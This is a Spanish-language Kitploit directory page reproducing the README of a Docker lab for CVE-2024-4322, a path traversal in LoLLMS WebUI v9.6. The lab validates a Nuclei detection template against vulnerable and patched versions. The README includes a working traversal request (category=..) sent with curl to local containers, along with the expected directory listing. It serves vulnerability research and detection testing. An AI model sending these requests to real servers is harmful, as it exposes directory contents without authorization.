Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
Herramientas/GitHubGitHub/mj-bin/poc_cve-2024-4322
Análisis de VulnerabilidadesExplotaciónSeguridad WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-4322: PoC de LoLLMS WebUI y laboratorio de validación con Nuclei

Este repositorio proporciona laboratorios locales Dockerizados para reproducir CVE-2024-4322, una vulnerabilidad de path traversal en LoLLMS WebUI v9.6, y para validar que la plantilla de Nuclei asociada no coincide con LoLLMS WebUI v9.8.

Usa este laboratorio solo contra objetivos locales, propios o explícitamente autorizados.

Resumen de la vulnerabilidad

El endpoint /list_personalities en LoLLMS WebUI v9.6 es vulnerable a path traversal. El parámetro category controlado por el usuario se añade a personalities_zoo_path sin saneamiento:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

Al enviar category=.., la solicitud puede escapar del directorio de personalidades previsto y listar el contenido de un directorio padre.

Señal esperada de la vulnerabilidad:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

El comportamiento corregido en v9.8 rechaza la entrada de traversal antes del listado de directorios.

Matriz de laboratorios

Ejecuta todos los comandos desde el directorio que contiene este README.

Laboratorio Linux vulnerable

1. Iniciar el servidor

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

Espera hasta ver:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

Presiona Ctrl-C para dejar de seguir los registros. El contenedor sigue ejecutándose.

2. Verificar el comportamiento HTTP

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

Resultado esperado:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

El orden puede variar. La señal importante es que la respuesta al traversal difiere de la respuesta de control y contiene personalities_zoo.

3. Validar con Nuclei

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

Resultado esperado:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Verificación de Nuclei en Linux vulnerable

Laboratorio Linux parcheado

1. Iniciar el servidor

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

Espera hasta ver:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verificar el comportamiento HTTP

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

Resultado esperado:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Validar con Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

Resultado esperado:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Verificación de Nuclei en Linux parcheado

Laboratorio Windows vulnerable

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.

1. Iniciar el servidor

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

Espera hasta ver:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verificar el comportamiento HTTP

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

Resultado esperado:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

El orden puede variar. La señal importante es que la respuesta al traversal difiere de la respuesta de control y contiene personalities_zoo.

3. Validar con Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

Resultado esperado:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Verificación de Nuclei en Windows vulnerable

Laboratorio Windows parcheado

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.

1. Iniciar el servidor

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

Espera hasta ver:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. Verificar el comportamiento HTTP

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

Resultado esperado:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Validar con Nuclei

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

Resultado esperado:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Verificación de Nuclei en Windows parcheado

Limpieza

Contenedores Linux:

root@kitploit:~
docker compose --profile patched down --rmi local

Contenedores Windows:

root@kitploit:~
docker compose --profile windows down

Requisitos

  • Docker y Docker Compose.
  • Docker Desktop en modo contenedores de Windows para los laboratorios de Windows.
  • curl.
  • jq para los ejemplos HTTP del Linux vulnerable.
  • Nuclei para la validación de la plantilla.

Si jq no está disponible en el host Linux, usa el contenedor analyst:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Si Nuclei no está instalado en Windows, descarga el binario de la versión para Windows desde https://github.com/projectdiscovery/nuclei/releases, descomprímelo y ejecuta nuclei.exe directamente desde el directorio extraído.

Notas de configuración del laboratorio

Los Dockerfiles parchean los instaladores históricos durante la compilación para que el laboratorio sea reproducible hoy:

  • Los laboratorios vulnerables clonan la etiqueta v9.6 de lollms-webui.

  • Los laboratorios parcheados clonan la etiqueta v9.8 de lollms-webui.

  • La URL del submódulo lollms_core se reescribe a https://github.com/ParisNeo/lollms_legacy.git porque el historial antiguo del código fuente se movió allí.

  • El anclaje de versiones se comprueba contra los metadatos Git ascendentes: v9.6 es e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, y v9.8 es 8a8e3a1c386321f641a014bf8f7029512ccad411.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • Los commits correspondientes del submódulo lollms_core son para v9.6 y para v9.8, comprobados con en cada checkout de etiqueta.

Justificación del parche

La invariante rota es:

root@kitploit:~
resolved path must stay inside the personalities directory

LoLLMS WebUI v9.8 y versiones posteriores abordan el problema saneando o restringiendo la ruta category antes de que llegue a la lógica de listado de directorios del sistema de archivos. Para implementaciones reales, actualiza LoLLMS WebUI a la versión 9.8 o posterior.

Descargar herramienta
EntornoVersiónServicioURL del hostResultado esperado de la plantilla
Linux vulnerablev9.6linux-vuln-serverhttp://127.0.0.1:9600coincidencia
Linux parcheadov9.8linux-patched-serverhttp://127.0.0.1:9602sin coincidencia
Windows vulnerablev9.6windows-vuln-serverhttp://127.0.0.1:9601coincidencia
Windows parcheadov9.8windows-patched-serverhttp://127.0.0.1:9603sin coincidencia
cfb18f6f1091addf440347322441ab28005a2d3b
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
git ls-tree HEAD lollms_core
  • Las opciones auto_update y auto_sync_* están deshabilitadas para mantener cada laboratorio anclado.

  • Se inyectan archivos de configuración headless para que el servidor pueda iniciarse sin preguntas.

  • Las dependencias pesadas que no son necesarias para la validación del endpoint se omiten cuando es posible.

  • Los instaladores de Windows se parchean para crear su directorio temporal y evitar submódulos recursivos obsoletos.